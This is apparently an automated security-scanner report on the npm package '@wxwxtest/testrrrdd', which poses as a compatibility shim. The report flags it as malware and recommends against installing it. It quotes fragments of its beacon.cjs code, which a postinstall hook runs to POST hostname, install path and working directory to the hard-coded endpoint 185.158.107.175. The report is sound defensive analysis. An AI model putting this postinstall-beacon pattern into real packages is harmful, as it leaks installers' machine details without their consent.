@wxwxtest/testrrrdd@0.0.1
Compatibility shim.
AI Security Review
scanned 14d ago · by lpm-firewall-aiThe postinstall hook and import entrypoint activate an outbound request that sends local host and project path metadata to a hard-coded external endpoint. This is concrete data exfiltration behavior and warrants blocking publication.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation or import of index.js.
Impact
The recipient learns host identity and details about the local package installation and working directory.
Mechanism
beacon.cjs builds a payload containing the hostname, install path, working directory, and package metadata, then sends it by HTTP POST to 185.158.107.175.
Attack narrative
On installation, the postinstall hook runs the beacon. The beacon posts host and package-install metadata to a fixed external endpoint; importing the package also calls it. This is an active metadata exfiltration path.
AI rationale
The postinstall hook and import entrypoint activate an outbound request that sends local host and project path metadata to a hard-coded external endpoint. This is concrete data exfiltration behavior and warrants blocking publication.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package runs a beacon script automatically after installation.
- The beacon sends the package name, hostname, install path, working directory, and npm user agent to a hard-coded external HTTP endpoint.
- Importing the package also fires the beacon, so the transmission is not limited to installation.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg5"main": "index.js",
"scripts": {
"postinstall": "node beacon.cjs"
},
"files": [
"ind
High
Ai Review Evidence
The package runs a beacon script automatically after installation.
package.jsonView on unpkg · L5beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@wxwxtest/testrrrdd";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
8 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighAi Review Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @wxwxtest/testrrrdd@0.0.1.
See all versions of @wxwxtest/testrrrdd for other recorded verdicts.
- Avoid installing @wxwxtest/testrrrdd@0.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.